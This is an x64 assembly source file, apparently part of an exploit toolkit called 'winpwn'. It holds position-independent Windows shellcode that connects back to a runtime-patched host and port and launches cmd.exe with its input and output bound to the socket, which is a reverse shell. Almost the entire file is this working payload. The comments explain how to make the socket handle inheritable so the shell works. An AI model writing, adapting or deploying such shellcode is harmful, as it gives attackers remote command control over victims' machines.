158 lines
5.0 KiB
NASM
158 lines
5.0 KiB
NASM
; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
|
|
; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
|
|
; redirected to the socket. The classic Windows reverse-shell primitive.
|
|
;
|
|
; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
|
|
; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
|
|
; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
|
|
; constants since they never change.
|
|
;
|
|
; Real gotcha, worth recording here since it's easy to miss and the
|
|
; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
|
|
; error anywhere) gives no hint why: socket() handles are NOT inheritable
|
|
; by default on modern Windows (a hardening change from the days when
|
|
; every handle was inheritable by default). bInheritHandles=TRUE on
|
|
; CreateProcessA alone is not enough -- SetHandleInformation must mark the
|
|
; specific socket handle as inheritable first, or the child simply doesn't
|
|
; get a usable copy of it no matter what STARTUPINFOA says.
|
|
BITS 64
|
|
default rel
|
|
|
|
start:
|
|
push rbp
|
|
push r12
|
|
push r13
|
|
mov rbp, rsp
|
|
and rsp, ~0xF
|
|
|
|
call get_kernel32_base
|
|
mov r12, rax ; r12 = kernel32 base, kept for the whole routine
|
|
|
|
; WSAStartup(0x0202, &wsadata_buf)
|
|
mov rcx, r12
|
|
lea rdx, [rel name_ws2_32]
|
|
lea r8, [rel name_wsastartup]
|
|
call resolve_export
|
|
mov rcx, 0x0202
|
|
lea rdx, [rel wsadata_buf]
|
|
sub rsp, 0x20
|
|
call rax
|
|
add rsp, 0x20
|
|
|
|
; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
|
|
mov rcx, r12
|
|
lea rdx, [rel name_ws2_32]
|
|
lea r8, [rel name_socket]
|
|
call resolve_export
|
|
mov rcx, 2
|
|
mov rdx, 1
|
|
mov r8, 6
|
|
sub rsp, 0x20
|
|
call rax
|
|
add rsp, 0x20
|
|
mov r13, rax
|
|
|
|
; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
|
|
; -- see the file header: without this, the child below can't actually
|
|
; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
|
|
mov rcx, r12
|
|
xor rdx, rdx
|
|
lea r8, [rel name_sethandleinformation]
|
|
call resolve_export
|
|
mov rcx, r13
|
|
mov rdx, 1
|
|
mov r8, 1
|
|
sub rsp, 0x20
|
|
call rax
|
|
add rsp, 0x20
|
|
|
|
; connect(sockfd, &sockaddr_buf, 16)
|
|
mov rcx, r12
|
|
lea rdx, [rel name_ws2_32]
|
|
lea r8, [rel name_connect]
|
|
call resolve_export
|
|
mov rcx, r13
|
|
lea rdx, [rel sockaddr_buf]
|
|
mov r8, 16
|
|
sub rsp, 0x20
|
|
call rax
|
|
add rsp, 0x20
|
|
|
|
; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
|
|
; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
|
|
; CreateProcessA's own shadow space + its 6 stack-passed arguments.
|
|
sub rsp, 0xE0
|
|
|
|
mov qword [rsp+0x50], 0
|
|
mov qword [rsp+0x58], 0
|
|
mov qword [rsp+0x60], 0
|
|
mov qword [rsp+0x68], 0
|
|
mov qword [rsp+0x70], 0
|
|
mov qword [rsp+0x78], 0
|
|
mov qword [rsp+0x80], 0
|
|
mov qword [rsp+0x88], 0
|
|
mov qword [rsp+0x90], 0
|
|
mov qword [rsp+0x98], 0
|
|
mov qword [rsp+0xA0], 0
|
|
mov qword [rsp+0xA8], 0
|
|
mov qword [rsp+0xB0], 0
|
|
|
|
mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
|
|
mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
|
|
mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
|
|
mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
|
|
mov [rsp+0xB0], r13 ; .hStdError (offset 96)
|
|
|
|
; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
|
|
mov rcx, r12
|
|
xor rdx, rdx
|
|
lea r8, [rel name_createprocessa]
|
|
call resolve_export
|
|
mov r14, rax
|
|
|
|
xor rcx, rcx ; lpApplicationName = NULL
|
|
lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
|
|
xor r8, r8 ; lpProcessAttributes = NULL
|
|
xor r9, r9 ; lpThreadAttributes = NULL
|
|
mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
|
|
mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
|
|
mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
|
|
mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
|
|
lea rax, [rsp+0x50]
|
|
mov qword [rsp+0x40], rax ; lpStartupInfo = &si
|
|
lea rax, [rsp+0xB8]
|
|
mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
|
|
call r14
|
|
|
|
add rsp, 0xE0
|
|
mov rsp, rbp
|
|
pop r13
|
|
pop r12
|
|
pop rbp
|
|
ret
|
|
|
|
%include "resolver.inc"
|
|
|
|
name_ws2_32: db "ws2_32.dll", 0
|
|
name_wsastartup: db "WSAStartup", 0
|
|
name_socket: db "socket", 0
|
|
name_connect: db "connect", 0
|
|
name_sethandleinformation: db "SetHandleInformation", 0
|
|
name_createprocessa: db "CreateProcessA", 0
|
|
|
|
; lpCommandLine must point at writable memory (CreateProcessA may modify
|
|
; it in place) -- fine here since shellcode bytes live in a writable page
|
|
; wherever they landed, same as every other template's embedded buffers.
|
|
cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
|
|
|
|
align 8
|
|
wsadata_buf:
|
|
times 512 db 0
|
|
|
|
align 8
|
|
sockaddr_buf:
|
|
dw 2 ; sin_family = AF_INET
|
|
dw 0 ; sin_port, patched at runtime (network byte order)
|
|
dd 0 ; sin_addr, patched at runtime (network byte order)
|
|
dq 0 ; sin_zero[8]
|